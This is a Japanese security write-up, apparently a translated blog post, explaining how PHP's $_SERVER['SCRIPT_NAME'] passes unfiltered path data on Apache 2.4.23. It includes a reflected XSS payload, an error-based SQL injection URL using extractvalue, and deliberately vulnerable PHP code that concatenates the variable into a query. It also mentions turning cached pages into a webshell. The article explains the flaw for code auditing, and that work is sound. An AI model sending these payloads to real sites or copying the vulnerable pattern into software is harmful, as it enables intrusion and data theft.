0x00 概要

$_SERVER[‘SCRIPT_NAME’]はPHP用の1つ組み込み変数です。ここでは、使用時には、一般的にフィルタリングされません。 fuzzの後、この変数の取得は実際に問題がある、予期しないデータが導入されます。

一部のWebサーバーでは、この変数を直接使用すると、SQLインジェクションまたはxssの脆弱性が発生する可能性があります。

0x01 テスト

Apache/2.4.23に $_SERVER['SCRIPT_NAME']変数があります。 私のローカルテスト環境は、Apache/2.4.23(Win32)OpenSSL/1.0.2j PHP/5.5.38 MySQL/5.5.53です。 現在Apache/2.4.23でのみ成功しています。

$_SERVER['SCRIPT_NAME']変数の公式ドキュメントは次のとおりです:

img
img

簡単に言えば、この変数は、Webサービスのルートディレクトリから現在のファイルへのパスを返します。Webルートディレクトリが/var/www/htmlで、現在のファイルパスが/var/www/html/t/index.phpであると仮定すると、index.phpで取得された$_SERVER['SCRIPT_NAME']/t/index.php

上記は正常なプロセスです。 しかし、PHPにはパラメータを渡る方法が2種類があります。 1つは、index.php?id =1のような、キーと値のペアの伝統的な形式です。 もう一つのルートで、パラメータを渡すことです:/index.php/xx/b/c$_SERVER['SCRIPT_NAME']変数は、ルートでパラメータを渡すことにさらに有害です。

ルートでパラメータを渡すのURLでは、URLの最後に /*を追加することができます。つまり、ファイル名の後にスペース + /*を追加して、ファイル名を破棄して、ファイル名の後にデータを取得できます。

img
img
img
img

テストでは、'(一重引用符)"(二重引用符)、;(セミコロン)<>(角カッコ)()(カッコ)などのペイロードで一般的に使用される記号はフィルタリングされません。 一般的なCMSでは、一般にGET、POST、COOKIEの3つの変数のみがフィルタリングされます.GPCのグローバルエスケープが有効になっていても、$_SERVER変数はエスケープされません。

特別な注意が必要なのは、ペイロードに?(疑問符)は表示されません、疑問符が切り捨てられ、ファイル名の後にデータを取得できなくなります。

0x02 使用方法

私はかつてこのCMSに遭遇し、$_SERVER['SCRIPT_NAME']をページに直接書きました。 このようにして、反射的なxss攻撃を実行できます。 さらに、CMSはヘッダを保護せずにphpファイルとして直接ページをキャッシュします。 言い換えれば、私たちが書くPHP文もキャッシュファイルにキャッシュされます。 WebShellを直接生成します。

コード監査中に$_SERVER['SCRIPT_NAME']変数を追跡して、変数の値がデータベースに渡されるか、ページに直接渡されるかどうかを調べることができます。

0x03 ケーススタディ - XSS

index.phpコードは次のとおりです: <?php echo $_SERVER[‘SCRIPT_NAME’];?>`

exp: http://localhost/index.php/<img src=x onerror=alert(1)> /\*

img
img

0x04 ケーススタディ - SQLインジェクション

index.phpコードは次のとおりです:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);

$db="xx";
$dbuser="xxxxx";
$dbpwd="xxxx";
$host="localhost";

$mysql=mysqli_connect($host,$dbuser,$dbpwd,$db) or die("connect failed");

$sql="select password from user where username='".$_SERVER['SCRIPT_NAME']."'";
$result=mysqli_query($mysql,$sql) or print_r(mysqli_error($mysql));
$result_array=mysqli_fetch_all($result);

echo "Your password is:".$result_array[0][0];

exp:

1
http://localhost/index.php/' and extractvalue(1,concat(0x7e,(select @@version),0x7e))||' /*
img
img